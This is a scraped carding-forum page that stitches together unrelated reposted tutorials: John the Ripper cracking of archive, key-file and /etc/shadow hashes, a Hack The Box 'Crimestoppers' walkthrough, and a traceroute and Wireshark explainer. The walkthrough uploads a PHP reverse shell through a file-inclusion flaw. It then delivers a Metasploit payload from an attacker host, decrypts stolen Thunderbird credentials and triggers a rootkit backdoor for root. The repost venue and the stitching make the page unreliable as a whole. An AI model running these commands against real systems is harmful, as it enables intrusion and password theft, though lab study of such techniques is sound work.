[Image: 16.PNG?w=687&ssl=1]
Then after waiting for 10 seconds as its the wait time we gave earlier, it will start typing the script command on the xterm.
[Image: 17.png?w=687&ssl=1]
After executing this command, xterm will get closed, but it will provide a command shell to the Attacker as shown.
[Image: 18.png?w=687&ssl=1]


  [Guide] How to Beginners Guide for John the Ripper (Part 2)
Posted by: NINZA - 05-14-2020, 08:56 AM - Forum: Carders Home - No Replies

We learned most of the basic information on John the Ripper in our Previous Article which can be found here. In this article, we will use John the Ripper to crack the password hashes of some of the file formats like zip, rar, pdf and much more.

To crack these password hashes, we are going to use some of the inbuilt and some other utilities which extract the password hash from the locked file. There are some utilities that come inbuilt with John which can be found using the following command.

locate *2john
1
locate *2john


As you can see that we have the following utilities, we will demonstrate some of them here.

[Image: 1.png?w=687&ssl=1]

Cracking the SSH Password Hash

John the Ripper can crack the SSH private key which is created in RSA Encryption. To test the cracking of the private key, first, we will have to create a set of new private keys. To do this we will use a utility that comes with ssh, called “ssh-keygen”.

ssh-keygen
1
ssh-keygen


[Image: 2.png?w=687&ssl=1]

After opening, it asks for the location at which we want the public/private RSA key pair to store? You can use any location or you can leave it as default.

After that it asks for the passphrase, after entering the password again, we successfully generate the RSA private key. (Refer the image)

When you will try to open the file, you will be greeted by the following prompt.

[Image: 3.png?w=687&ssl=1]

Now John cannot directly crack this key, first, we will have to change its format, which can be done using a john utility called “ssh2john”.

Syntax: ssh2john [location of key]

ssh2john /home/pavan/.ssh/id_rsa > crack.txt
1
ssh2john /home/pavan/.ssh/id_rsa > crack.txt


[Image: 4.png?w=687&ssl=1]

You can see that we converted the key to a crackable hash and then entered it into a text file named id_rsa.txt.

Now let’s use John the Ripper to crack this hash.

john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.txt
1
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.txt


Great! We have successfully cracked the passphrase used to create the private ssh key to be “password123”

[Image: 5.png?w=687&ssl=1]

Cracking the KeepPass2 Password Hash

John the Ripper can crack the KeepPass2 key. To test the cracking of the key, first, we will have to create a set of new keys. To do this we will use a utility that is called “kpcli”.

kpcli
1
kpcli


[Image: 6.png?w=687&ssl=1]

Now we will create a database file using the command “save as” and naming the database file as ignite.kdb and entering a passcode to secure it.

When you will try to open the file, you will be greeted by the following prompt.

[Image: 7.png?w=687&ssl=1]

Now John cannot directly crack this key, first, we will have to change its format, which can be done using a john utility called “keepass2john”.

Syntax: keepass2john [location of key]

keepass2john ignite.kdb > crack.txt
1
keepass2john ignite.kdb > crack.txt


[Image: 8.png?w=687&ssl=1]

Now let’s use John the Ripper to crack this hash.

john --wordlist=/usr/share/wordlists/rockyou.txt crack.txt
1
john --wordlist=/usr/share/wordlists/rockyou.txt crack.txt


Great! We have successfully cracked the passphrase used to create the key to be “12345678”

[Image: 9.png?w=687&ssl=1]

Cracking the RAR Password Hash

Now we will crack some compressed files, to do that we will have to create a file to be compressed so let’s do that using echo command as shown in the given screenshot.

You can see that we created a file.txt which we will be using to create compressed files.

echo hackingarticles.in > file.txt
1
echo hackingarticles.in > file.txt


[Image: 10.png?w=687&ssl=1]

John the Ripper can crack the RAR file passwords. To test the cracking of the password, first, let’s create a compressed encrypted rar file.

rar a -hpabc123 file.rar file.txt
1
rar a -hpabc123 file.rar file.txt


[Image: 11.png?w=687&ssl=1]

  • a = Add files to archive
  • hp[password] = Encrypt both file data and headers
This will compress and encrypt our file.txt into a file.rar. So, when you will try to open the file, you will be greeted by the following prompt.

[Image: 12.png?w=687&ssl=1]

Now John cannot directly crack this key, first, we will have to change it format, which can be done using a john utility called “rar2john”.

Syntax: rar2john [location of key]

rar2john file.rar > crack.txt
1
rar2john file.rar > crack.txt


[Image: 13.png?w=687&ssl=1]

Now let’s use John the Ripper to crack this hash.

john --wordlist=/usr/share/wordlists/rockyou.txt crack.txt
1
john --wordlist=/usr/share/wordlists/rockyou.txt crack.txt


Great! We have successfully cracked the passphrase used to create the key to be “abc123”

[Image: 14.png?w=687&ssl=1]

Cracking the ZIP Password Hash

John the Ripper can crack the ZIP file passwords. To test the cracking of the password, first, let’s create a compressed encrypted zip file.

zip -er file.zip file.txt
1
zip -er file.zip file.txt


[Image: 15.png?w=687&ssl=1]
  • e = Encrypt
  • r = Recurse into directories
This will compress and encrypt our file.txt into a file.zip. So, when you will try to open the file, you will be greeted by the following prompt.

[Image: 16.png?w=687&ssl=1]

Now John cannot directly crack this key, first, we will have to change its format, which can be done using a john utility called “zip2john”.

Syntax: zip2john [location of key]

zip2john file.zip > crack.txt
1
zip2john file.zip > crack.txt


[Image: 17.png?w=687&ssl=1]

Now let’s use John the Ripper to crack this hash.

john --wordlist=/usr/share/wordlists/rockyou.txt crack.txt
1
john --wordlist=/usr/share/wordlists/rockyou.txt crack.txt


Great! We have successfully cracked the passphrase used to create the key to be “654321”

[Image: 18.png?w=687&ssl=1]

Cracking the 7-Zip Password Hash

John the Ripper can crack the 7-Zip file passwords. To test the cracking of the password, first, let’s create a compressed encrypted 7z file.

7z a -mhe file.7z file.txt -p"password"
1
7z a -mhe file.7z file.txt -p"password"


[Image: 19.png?w=687&ssl=1]
  • a = Add files to archive
  • m = Set compression Method
  • h = Calculate hash values for files
  • e = Encrypt file
  • p = set Password
This will compress and encrypt our file.txt into a file.7z. So, when you will try to open the file, you will be greeted by the following prompt.

[Image: 20.png?w=687&ssl=1]

Now John cannot directly crack this key, first, we will change its format, which can be done using a john utility called “7z2john”. This is not inbuilt utility, It can be downloaded from

[To see content please register here]

.


Syntax: zip2john [location of key]

python 7z2john.py file.7z > crack.txt
1
python 7z2john.py file.7z > crack.txt


[Image: 21.png?w=687&ssl=1]

Now let’s use John the Ripper to crack this hash.

john –wordlist=/usr/share/wordlists/rockyou.txt crack.txt
1
john –wordlist=/usr/share/wordlists/rockyou.txt crack.txt


Great! We have successfully cracked the passphrase used to create the key to be “password”

[Image: 22.png?w=687&ssl=1]

Cracking the PDF Password Hash

John the Ripper can crack the PDF file passwords. You can encrypt your pdf online by using

[To see content please register here]

. This will compress and encrypt our pdf into a password protected file.pdf. So, when you will try to open the file, you will be greeted by the following prompt.


[Image: 23.png?w=687&ssl=1]

Now John cannot directly crack this key, first, we will have to change its format, which can be done using a john utility called “pdf2john”. This is not an inbuilt utility, it can be downloaded from

[To see content please register here]

.


Syntax: pdf2john [location of key]

python pdf2john.py file.pdf > crack.txt
1
python pdf2john.py file.pdf > crack.txt


[Image: 24.png?w=687&ssl=1]

Now let’s use John the Ripper to crack this hash.

john –wordlist=/usr/share/wordlists/rockyou.txt crack.txt
1
john –wordlist=/usr/share/wordlists/rockyou.txt crack.txt


Great! We have successfully cracked the passphrase used to create the key to be “password123”.

[Image: 25.png?w=687&ssl=1]

Cracking the PuTTY Password Hash

John the Ripper can crack the PuTTY private key which is created in RSA Encryption. To test the cracking of the private key, first, we will have to create a set of new private keys. To do this we will use a utility that comes with PuTTY, called “PuTTY Key Generator”.

[Image: 29.PNG?w=687&ssl=1]

Click on “Generate”. After Generating the key, we get a window where we will input the key passphrase as shown in the image.

[Image: 30.PNG?w=687&ssl=1]

After entering the passphrase, click on Save private key to get a private key in the form of a .ppk file

After generating transfer this .ppk file to Kali Linux.

Now John cannot directly crack this key, first, we will have to change its format, which can be done using a john utility called “putty2john”.

Syntax: putty2john [location of key]

putty2john file.ppk > crack.txt
1
putty2john file.ppk > crack.txt


[Image: 31.png?w=687&ssl=1]

You can see that we converted the key to a crackable hash and then entered it into a text file named crack.txt.

Now let’s use John the Ripper to crack this hash.

john –w=/usr/share/wordlists/rockyou.txt crack.txt
1
john –w=/usr/share/wordlists/rockyou.txt crack.txt


Great! We have successfully cracked the passphrase used to create the private PuTTY key to be “password”.

[Image: 32.png?w=687&ssl=1]

Cracking the “Password Safe” Password Hash

John the Ripper can crack the Password Safe Software’s key. To test the cracking of the key, first, we will have to create a set of new keys. To do this we will install the Password Safe Software on our Windows 10 System.

[Image: 33.PNG?w=687&ssl=1]

To get a new key, Click on “New”

[Image: 34.PNG?w=687&ssl=1]

In this prompt, check the Show Combination Box. After that Enter the passphrase you want to use to generate the key. This will generate a .psafe3 file.

After generating transfer this .safe3 file to Kali Linux.

Now John cannot directly crack this key, first, we will have to change its format, which can be done using a john utility called “pwsafe2john”.

Syntax: pwsafe2john [location of key]

pwsafe2john ignite.psafe3 > crack.txt
1
pwsafe2john ignite.psafe3 > crack.txt


[Image: 35.png?w=687&ssl=1]

You can see that we converted the key to a crackable hash and then entered it into a text file named crack.txt.

Now let’s use John the Ripper to crack this hash.

john –w=/usr/share/wordlists/rockyou.txt crack.txt
1
john –w=/usr/share/wordlists/rockyou.txt crack.txt


Great! We have successfully cracked the passphrase used to create the private pwsafe key to be “password123”

[Image: 36.png?w=687&ssl=1]



Today we are sharing our experience that can be helpful in solving new CTF challenge: Crimestoppers of Hack The Box. Solving this lab is not much easy, all you need is your penetration skill to solve this challenge.

Level: Medium

Task: Find the user.txt and root.txt in the vulnerable Lab.

Penetrating Methodology
  • Network Scanning
  • Enumeration
  • Exploiting Web Applications
  • Capture user.txt
  • Privilege Escalation
  • Capture root.txt Flag
Let’s Begin!!

Network Scanning

These labs are only available online, therefore, they have a static IP. Crimestoppers has IP: 10.10.10.80.

As we knew the initial stage is enumeration; therefore use nmap Aggressive scan for gathering target’s machine and running services information.

nmap -A 10.10.10.80
1
nmap -A 10.10.10.80


[Image: 1.png?w=687&ssl=1]

Knowing port 80 was open on victim’s network we preferred to explore his IP in the browser and the following image opened as shown below.  Here, we can see that it has two pages: home and upload but didn’t find anything suspicious.

[Image: 2.png?w=687&ssl=1]

Enumeration

So next, we use the dirb tool of kali to enumerate the directories and found some important directories such as

[To see content please register here]

and went on the web browser to explore them.


[Image: 3.1.png?w=687&ssl=1]

At upload, you can upload any comment as a Tip, in order to provide some information. So we try to upload malicious code here but get failed each time.

If you will observe the URL http:// 10.10.10.80/?op=upload then you will realize that its look like that LFI.

[Image: 3.png?w=687&ssl=1]

But it was not easy that much to exact information by exploiting LFI with help of ../etc/password therefore by making little bit more effort and taking help from my previous

[To see content please register here]

. We used curl command to find out the data from inside it with the help of PHP base64-encode.


curl

[To see content please register here]

=php://filter/convert.base64-encode/resource=upload

1
curl

[To see content please register here]

=php://filter/convert.base64-encode/resource=upload


As result, it returns base64 encode text which we need to decode.

[Image: 5.png?w=687&ssl=1]

To decode base64 encoded text follow below syntax and found a PHP script that was pointing toward some kind of token and secretname which was a link to uploads directory.

Syntax: echo BASE64TEXT | base64 -d

[Image: 6.png?w=687&ssl=1]

After struggling a lot, finally, we successfully uploaded our PHP backdoor with help burp suite. Follow the given step to upload PHP web shell.

Open php-reverse-shell.php which is inbuilt in Kali Linux from path: /user/share/webshells/php and modify ATTACKER’s IP and save this file on the desktop. Here we have renamed it as shell.php and compress this file.

zip -0 shell.zip shell.php
1
zip -0 shell.zip shell.php


[Image: 8.png?w=687&ssl=1]

Exploiting Web Application

In order to capture the request web browser, enter the information for Tips and name then turn burp suite and click on Send Tip. 

[Image: 9.png?w=687&ssl=1]

Now in order to upload the content of our php backdoor through burp select the string “shell” for name = tip as shown below.

[Image: 10.png?w=687&ssl=1]

And choose php file to paste it content at the place of shell.

[Image: 11.png?w=687&ssl=1]

As you can observe that we have successfully uploaded our malicious PHP content here.

[Image: 12.png?w=687&ssl=1]

Now forward the intercepted request and you will get secretname for the uploaded file as highlighted, copy it. Then forward the request again, it will give the success.txt message and at last forward the request one more time.

[Image: 13.png?w=687&ssl=1]

Do not forget to launch netcat for reverse connection before executing your uploaded file.

nc -lvp 1234
1
nc -lvp 1234


Now open the browser and execute the following command that contains secretname of the uploaded file (PHP backdoor) and you will get netcat session for reverse connection.

[To see content please register here]

python -c 'import pty; pty.spawn("/bin/sh")'

1
2

[To see content please register here]

python -c 'import pty; pty.spawn("/bin/sh")'


[Image: 14.png?w=687&ssl=1]

Because we love to work with meterpreter session therefore with help of Metasploit web_delivary module we generate malicious python code as shown.

msf exploit(multi/script/web_delivery) > set lhost 10.10.14.25
msf exploit(multi/script/web_delivery) > set srvhost 10.10.14.25
msf exploit(multi/script/web_delivery) > exploit

1
2
3

msf exploit(multi/script/web_delivery) > set lhost 10.10.14.25
msf exploit(multi/script/web_delivery) > set srvhost 10.10.14.25
msf exploit(multi/script/web_delivery) > exploit


[Image: 15.png?w=687&ssl=1]

Paste copied code in netcat which will provide meterpreter session inside Metasploit framework.

[Image: 16.png?w=687&ssl=1]

HURRAYYYY!!! We got our meterpreter session, now let’s grab the user.txt file first.

Inside path: /home/dom I found user.txt file and used cat “filename” command for reading this file.

cd home
ls
cd dom
ls
cat user.txt

1
2
3
4
5

cd home
ls
cd dom
ls
cat user.txt


Great!! We got our 1st flag successfully

[Image: 17.png?w=687&ssl=1]

Privilege Escalation

Now we need to find the root.txt file to finish this challenge and believe me it was not easy until you want the hint which is hidden by the author. We try every possible method to escalated privilege to gain the root access but it was quite different from previous experience.

After penetrating more and more we found a “36jinndk.default” from inside /home/dom/.thunderbird, which was encrypted file for Thunderbird profile, therefore, we download it in our local system.

meterpreter> download 36jinndk.default /root/Desktop/36
1
meterpreter> download 36jinndk.default /root/Desktop/36


[Image: 18.png?w=687&ssl=1]

Since it was encrypted file of Thunderbird profile so with help of Google we found a python script from this Link:

[To see content please register here]

for its decryption.


With help of the following command, we successfully found password: Gummer59

python firefox_decrypt.py /root/Desktop/36
1
python firefox_decrypt.py /root/Desktop/36


[Image: 19.png?w=687&ssl=1]

We applied this password to the escalated user: dom with help of the following command and then move into crimestoppers.htb directory it looks like his mailbox directory where we found so many files such INBOX.

su dome
Password:
cd /home/dom/.thunderbird/36jinndk.default/ImapMail/crimestoppers.htb

1
2
3

su dome
Password:
cd /home/dom/.thunderbird/36jinndk.default/ImapMail/crimestoppers.htb


[Image: 20.png?w=687&ssl=1]

First, we look into INBOX for any hint for root.txt but didn’t find something related to root.txt flag similarly we open other files but didn’t find anything.

[Image: 21.png?w=687&ssl=1]

At last, we open Drafts-1 and read the following line which looks like a hint of root access.

“I don’t trust them and run rkhunter, it reported that there a rootkit installed called:apache_modrootme backdoor” and its execution method.

[Image: 22.png?w=687&ssl=1]

So we explore following the path and we found access.log.2.gz file since it was a compressed file, therefore, it was better to copy it inside /tmp for further steps.

cd /var/log/apache2
cp access.log.2.gz/tmp

1
2

cd /var/log/apache2
cp access.log.2.gz/tmp


Now let’s move inside /tmp to extract the copied file inside it with the help of gunzip.

gunzip access.log.2.gz
ls
cat access.log.2.gz

1
2
3

gunzip access.log.2.gz
ls
cat access.log.2.gz


You can observe the log for a command “FunSociety” which has been executed several times.

[Image: 23.png?w=687&ssl=1]

As per the message read from DRAFT-1 we run netcat on localhost on port 80 get root access with help of following commands when executed.

nc localhost 80
get FunSociety
get FunSociety
id

1
2
3
4

nc localhost 80
get FunSociety
get FunSociety
id


Now let’s get the root.txt and finish this task.

cd /root
cat root.txt

1
2

cd /root
cat root.txt


BOOOOOM!!!! We hit the Goal and completed both task.

[Image: 24.png?w=687&ssl=1]



In this Post, we are going to discuss working with traceroute using UDP/ICMP/TCP packets with the help of Wireshark.

Traceroute or Tracert: It is a CUI based computer network diagnostic tools used in UNIX and Windows-like system respectively. It traces the path of a packet from the source machine to an Internet host such as Google.com by calculating the average time taken each hop. Traceroute sends a UDP packet to the destination by taking benefit of ICMP’s messages. It uses the ICMP error-reporting messages –Destination Unreachable and Time exceeded.

TTL: The time-to-live value, also known as the hop limit, is a mechanism that limits the lifespan or lifetime of data in a computer or network.

Hop: A hop is one portion of the path between source and destination. Data packets pass through bridges, routers, and gateways as they travel between source and destination. On the internet, before the data reaches its final destination, it goes through several routers and a hop occurs when an incoming packet is forwarded to the next router.

The asterisk (*): Denotes probe timeout which means that the router at that hop doesn’t respond to the packet received from the source used for the traceroute due to firewall filter.

Working of Traceroute

[Image: 0.png?w=687&ssl=1]

Read the below steps:
  • Traceroute sends a UDP packet with a TTL = 1 from the source to destination.
  • When the first router receives the UDP packet it reduces the TTL value by 1 (1-1=0) then drop the packet and sends an ICMP message “Time exceeded” to the source. Thus Traceroute makes a list of the router’s address and the time taken for the round-trip.
The TTL time exceeded ICMP message is sent after the TTL value of a UDP packet gets zero. In typical condition, a network doesn’t have such a diameter that lead the TTL=0. This could be possible when there is a routing loop. In this case, as the packet is sent back and forth between the looping points, the TTL keeps getting decrement until it becomes zero. And at last, the source receives ICMP error message sent by the router.
  • Again source device sends two more packets, in the same way, to get an average value of the round-trip time and again TTL gets zero when it reaches to the 2nd router and response through ICMP error message time exceeds.
  • Traceroute keeps on doing this, and record the IP address and name of every router until the UDP packets reach to the destination address. Once it reaches at the destination address, Time exceeded ICMP message is NOT sent back to the source.
  • Since Traceroute uses the random port for sending UDP packets as result destination machine will drop the packet and send a new ICMP error message-Destination Unreachable to the source which indicates the UDP packets has reached to the destination address.
Tracert with Wireshark

As discussed above tracert is CLI utility for windows system to trace the path of a packet from source to destination. So herewith help of the following command, we can observe the path of the packet which travels to reach Google DNS.

Syntax: tracert [options] Host IP

tracert 8.8.8.8
1
tracert 8.8.8.8


or

tracert -d 8.8.8.8
1
tracert -d 8.8.8.8


Traceroute generates a list of each hop by entering IP of routers that traversed between source and destination and average round-trip time. As a result hop 22 denotes entry of destination i.e. Google DNS.

In order to notice the activity of traceroute, we have turned on Wireshark in the background.

Note: Result of tracert can vary each time for hop count but does not go beyond 30 hops because it is the maximum hop limit.

[Image: 1.png?w=687&ssl=1]

At Wireshark we notice the following points:
  • ICMP echo request packet is used instead of UDP to send DNS query.
  • The packet first goes from source 192.168.1.101 to first router 192.168.1.1 having ICMP echo request packet with TTL=1
  • The router will drop that packet and send ICMP Time Exceeded error message to the source.
  • All this happens 3 times before the source machine sends next packet by incrementing TTL value by 1 i.e. TTL=2.
[Image: 2.png?w=687&ssl=1]

Form this image we can observe ICMP echo reply message is sent from 8.8.8.8 (destination) to 192.168.1.101 (source) for TTL 22.

[Image: 3.png?w=687&ssl=1]

Traceroute with Wireshark (via UDP packets)

As discussed above traceroute in utility for Unix -like the system to trace the path of a packet from source to destination. So here with the help of the following command, we can observe the path of packet travels to reach Google DNS.

Syntax: traceroute [options] Host IP

traceroute 8.8.8.8
1
traceroute 8.8.8.8


[Image: 4.png?w=687&ssl=1]

Traceroute generates a list of each hop by entering IP of routers that comes between source and destination and average round-trip time. As a result hop 21 denotes entry of destination i.e. Google DNS.

In order to notice the activity of traceroute, we have turned on Wireshark in the background.

Note: Result of traceroute can vary each time for hop count but does not go beyond 30 hops because it is maximum hop limit.

At Wireshark we notice the following points:
  • UDP packet is used to send DNS query with help of 32-bit payload.
  • The packet first goes from source 192.168.1.101 to first router 192.168.1.1 having ICMP request packet with TTL=1
  • The router will drop that packet and send ICMP Time Exceeded error message to the source.
  • All this happens 3 times before the source sent next packet with increment TTL value by 1 i.e. TTL=2.
[Image: 5.png?w=687&ssl=1]

In tracert we have seen that each TTL value between source to the first router proceeds 3 times, similarly, same technique is followed by UDP. To demonstrate this we have explored UDP packets 5,6,7 and 8th continuously.

In the 5th packet, we observe the UDP packet sent by source (192.168.1.102) to destination 8.8.8.8 on port 33435 and count as Hop #1, attempt #1.

[Image: 6.png?w=687&ssl=1]

In the 6th packet, we observe the UDP packet sent by source (192.168.1.102) to destination 8.8.8.8 on port 33436 and count as Hop #1, attempt #2.

[Image: 7.png?w=687&ssl=1]

Similarly, in the 7th packet, we observe the UDP packet sent by source (192.168.1.102) to destination 8.8.8.8 on port 33437 and count as Hop #1, attempt #3.

[Image: 8.png?w=687&ssl=1]

In the 8th packet, we observe the UDP packet sent by source (192.168.1.102) to destination 8.8.8.8 on port 33436 and count as Hop #2, attempt #1 and repeat so on process till reaches the destination.

[Image: 9.png?w=687&ssl=1]

In packet 79th we observe that the last hop captured was hop #10 attempt #3 when the UDP packet sent by source (192.168.1.102) to destination 8.8.8.8 on port 33464 and Time exceeded ICMP message is NOT sent back to the source after this.

[Image: 10.png?w=687&ssl=1]

As a result, at last, source received ICMP message Destination Port Unreachable which means our UDP packet reaches on the destination address.

At last from given below image we observed the following:
  • Source sent DNS query to the router for DNS lookup 8.8.8.8
  • Router sent a response to source as the answer of DNS Name Google-Public-DNS-google.com
[Image: 11.png?w=687&ssl=1]

Traceroute with Wireshark (via ICMP packets)

As you know by default traceroute use UDP packet but with help of -I option you can make it work as tracert which uses ICMP request packet.

traceroute -I 8.8.8.8
1
traceroute -I 8.8.8.8


[Image: 12.png?w=687&ssl=1]

It generates a list of each hop by entering IP of routers that comes between source and destination and average round-trip time. As a result hop 22 denotes entry of destination i.e. Google DNS. In order to notice the activity of traceroute, we have turned on Wireshark in the background.

At Wireshark we notice the following points:

First ICMP echo request packet will be sent to the first router with TTL 1 and it will send back an ICMP error message time exceed which follow the same technique as explained above in tracert with Wireshark.

At last from given below image we observed the following:
  • ICMP echo reply message is sent from 8.8.8.8 (destination) to 192.168.1.101 (source) for TTL 22.
  • Source sent DNS query to the router for DNS lookup 8.8.8.8
  • Router sent the response to source as the answer of DNS Name Google-Public-DNS-google.com
[Image: 13.png?w=687&ssl=1]

Traceroute with Wireshark (via TCP packets)

As you know by default traceroute use UDP packet with the use of ICMP error message for generating a response but with the help of -T option, you can use TCP packet, which uses syn request packet via port 80. It is most useful in diagnosing connection issues to a specific service eg. Web server.

tcptraceroute - 8.8.8.8
or
traceroute -T 8.8.8.8

1
2
3

tcptraceroute - 8.8.8.8
or
traceroute -T 8.8.8.8


As we know the maximum hop limit is 30 and but here till 30th hop we didn’t find desirable output. TCP traceroute basically follow TCP half communication and waits for the sys-ack packet from destination till the last hop. 

[Image: 14.png?w=687&ssl=1]

In order to notice the activity of tcp traceroute, we have turned on Wireshark in the background where we noticed that it works same as UDP but here the syn packets are used to send the requests to the destination. Tcptraceroute does not measure the time it takes to complete the three-way handshake because that never occurs in such a situation. It only measures the time from the initial SYN to the SYN/ACK.

Since Wireshark also didn’t notice any syn-ack packet from destination to source, therefore, Tcptraceroute didn’t edit destination response in its record list this is due to because it is useful while diagnosing web server.

[Image: 15.png?w=687&ssl=1]

Therefore let’s check the path of Google.com and notice the behavior of tcptraceroute. And you compare both result and behaviour of TCP in case of Google DNS server and Google web server.

tcptraceroute google.com
1
tcptraceroute google.com


Here we can clearly observe the response of destination machine through SYN, ACK and a complete entry recorded by traceroute.

[Image: 16.png?w=687&ssl=1]

It is as similar as above, the source sent the TCP-SYN packet to the destination machine on port 80 and received ICMP error message from the router for a time exceeded and repeat the process till it receives ACK_SYN from the destination.

[Image: 17.png?w=687&ssl=1]

Here we can observe ACK-SYN packet from the destination (172.168.161.14) is sent to source (192.1681.103) from port 80 and source again sent RST packet to the destination via port 80.

[Image: 18.png?w=687&ssl=1]

At last from given below image we observed the following:
  • Source sent DNS query to the router for DNS lookup 172.161.217.14
  • Router sent the response to source as the answer of DNS Name del03s10-in-f14.1e100.net
This entry will get recorded by traceroute in its record list.

[Image: 19.png?w=687&ssl=1]



We know the importance of John the ripper in penetration testing, as it is quite popular among password cracking tool. In this article, we are introducing John the ripper and its various usage for beginners.

What is John the Ripper?

John the Ripper is a free password cracking software tool developed by

[To see content please register here]

. Originally developed for Unix Operating Systems but later on developed for other platforms as well. It is one of the most popular password testings and breaking programs as it combines a number of password crackers into one package, autodetects password hash types, and includes a customizable cracker. It can be run against various encrypted password formats including several crypt password hash types commonly found in Linux or  Windows. It can also be to crack passwords of Compressed files like ZIP and also Documents files like PDF.


Where to get John the Ripper?

John the Ripper can be downloaded from Openwall’s Website

[To see content please register here]

.


Or from the Official John the Ripper Repo

[To see content please register here]



John the Ripper comes pre-installed in Linux Kali and can be run from the terminal as shown below:

[Image: 1.png?w=687&ssl=1]

John the Ripper works in 3 distinct modes to crack the passwords:

  1. Single Crack Mode
  2. Wordlist Crack Mode
  3. Incremental Mode
John the Ripper Single Crack Mode

In this mode John the ripper makes use of the information available to it in the form of a username and other information. This can be used to crack the password files with the format of

UsernameTongueassword
1
UsernameTongueassword


For Example: If the username is “Hacker” it would try the following passwords:

hacker

HACKER

hacker1

h-acker

hacker=

We can use john the ripper in Single Crack Mode as follows:

Here we have a text file named crack.txt containing the username and password, where the password is encrypted in SHA1 encryption so to crack this password we will use:

Syntax: john [mode/option] [password file]

john --single --format=raw-sha1 crack.txt
1
john --single --format=raw-sha1 crack.txt


As you can see in the screenshot that we have successfully cracked the password.

Username: ignite

Password: IgNiTe

[Image: 2.png?w=687&ssl=1]

John the Ripper Wordlist Crack Mode

In this mode John the ripper uses a wordlist that can also be called a Dictionary and it compares the hashes of the words present in the Dictionary with the password hash. We can use any desired wordlist. John also comes in build with a password.lst which contains most of the common passwords.

Let’s see how John the Ripper cracks passwords in Wordlist Crack Mode:

Here we have a text file named crack.txt containing the username and password, where the password is encrypted in SHA1 encryption so to crack this password we will use:

Syntax: john [wordlist] [options] [password file]

john --wordlist=/usr/share/john/password.lst --format=raw-sha1 crack.txt
1
john --wordlist=/usr/share/john/password.lst --format=raw-sha1 crack.txt


As you can see in the screenshot, john the Ripper have cracked our password to be asdfasdf

[Image: 3.png?w=687&ssl=1]

Cracking the User Credentials

We are going to demonstrate two ways in which we will crack the user credentials of a Linux user.

Before that we will have to understand, what is a shadow file?

In the Linux operating system, a shadow password file is a system file in which encrypted user password is stored so that they are not available to the people who try to break into the system. It is located at /etc/shadow.

First Method

Now, for the first method, we will crack the credentials of a particular user “pavan”.

Now to do this First we will open the shadow file as shown in the image.

[Image: 4.png?w=687&ssl=1]

And we will find the credentials of the user pavan and copy it from here and paste it into a text file. Here we have the file named crack.txt.

[Image: 5.png?w=687&ssl=1]

Now we will use john the ripper to crack it.

john crack.txt
1
john crack.txt


As you can see in the image below that john the ripper has successfully cracked the password for the user pavan.

[Image: 6.png?w=687&ssl=1]

Second Method

Now, for the second method, we will collectively crack the credentials for all the users.

To do this we will have to use John the ripper utility called “unshadow”.

unshadow /etc/passwd /etc/shadow > crack.txt
1
unshadow /etc/passwd /etc/shadow > crack.txt


[Image: 7.png?w=687&ssl=1]

Here the unshadow command is combining the /etc/passwd and /etc/shadow files so that John can use them to crack them. We are using both files so that John can use the information provided to efficiently crack the credentials of all users.

Here is how the crack file looks after unshadow command.

[Image: 8.png?w=687&ssl=1]

Now we will use john to crack the user credentials of all the users collectively.

john --wordlist=/usr/share/john/password.lst crack.txt
1
john --wordlist=/usr/share/john/password.lst crack.txt


[Image: 9.png?w=687&ssl=1]

As you can see from the provided image that we have discovered the following credentials:

User

Password

Raj

123

Pavan

Asdfasdf

Ignite

Yellow

Stopping and Restoring Cracking

While John the ripper is working on cracking some passwords we can interrupt or pause the cracking and Restore or Resume the Cracking again at our convenience.

So while John the Ripper is running you can interrupt the cracking by Pressing “q” or Crtl+C as shown in the given image.

[Image: 10.png?w=687&ssl=1]

Now to resume or restore the cracking process we will use the –restore option of John the ripper as shown :

john --restore
1
john --restore


[Image: 11.png?w=687&ssl=1]

Now we will decrypt various hashes using John the Ripper

SHA1

To decrypt SHA1 encryption we will use RockYou as wordlist and crack the password as shown below:

john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-sha1 crack.txt
1
john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-sha1 crack.txt


As you can see in the given image that we have the username pavan and password as Hacker

[Image: 12.png?w=687&ssl=1]

MD5

To decrypt MD5 encryption we will use RockYou as wordlist and crack the password as shown below:

john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 rack.txt
1
john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 rack.txt


As you can see in the given screenshot that we have the username pavan and password as P@ssword.

[Image: 13.png?w=687&ssl=1]

MD4

To decrypt MD4 encryption we will use RockYou as wordlist and crack the password as shown below:

john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md4 crack.txt
1
john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md4 crack.txt


As you can see in the given screenshot that we have the username pavan and password as Rockyou

[Image: 14.png?w=687&ssl=1]

SHA256

To decrypt SHA256 encryption we will use RockYou as wordlist and crack the password as shown below:

john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-sha256 crack.txt
1
john --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-sha256 crack.txt


As you can see in the given screenshot that we have the username pavan and password as pAsSwOrD

RIPEMD128

To decrypt RIPEMD128 encryption we will use RockYou as wordlist and crack the password as shown below:

john --wordlist=/usr/share/wordlists/rockyou.txt --format=ripemd-128 crack.txt
1
john --wordlist=/usr/share/wordlists/rockyou.txt --format=ripemd-128 crack.txt


As you can see in the given image that we have the username pavan and password as password123

[Image: 15.png?w=687&ssl=1]

Whirlpool

To decrypt whirlpool encryption we will use RockYou as wordlist and crack the password as shown below:

john --wordlist=/usr/share/wordlists/rockyou.txt --format=whirlpool crack.txt
1
john --wordlist=/usr/share/wordlists/rockyou.txt --format=whirlpool crack.txt


As you can see in the given screenshot that we have the username pavan and password as password666

[Image: 17.png?w=687&ssl=1]

View All Formats

John the Ripper supports much encryption some of which we showed above. To view all the formats it supports:

john --list=formats
1
john --list=formats


Hope,  you can take reference of this article while using John the ripper, More on John the Ripper will be in the Next Part.

[Image: 18.png?w=687&ssl=1]


 


Blackhat Carding forum



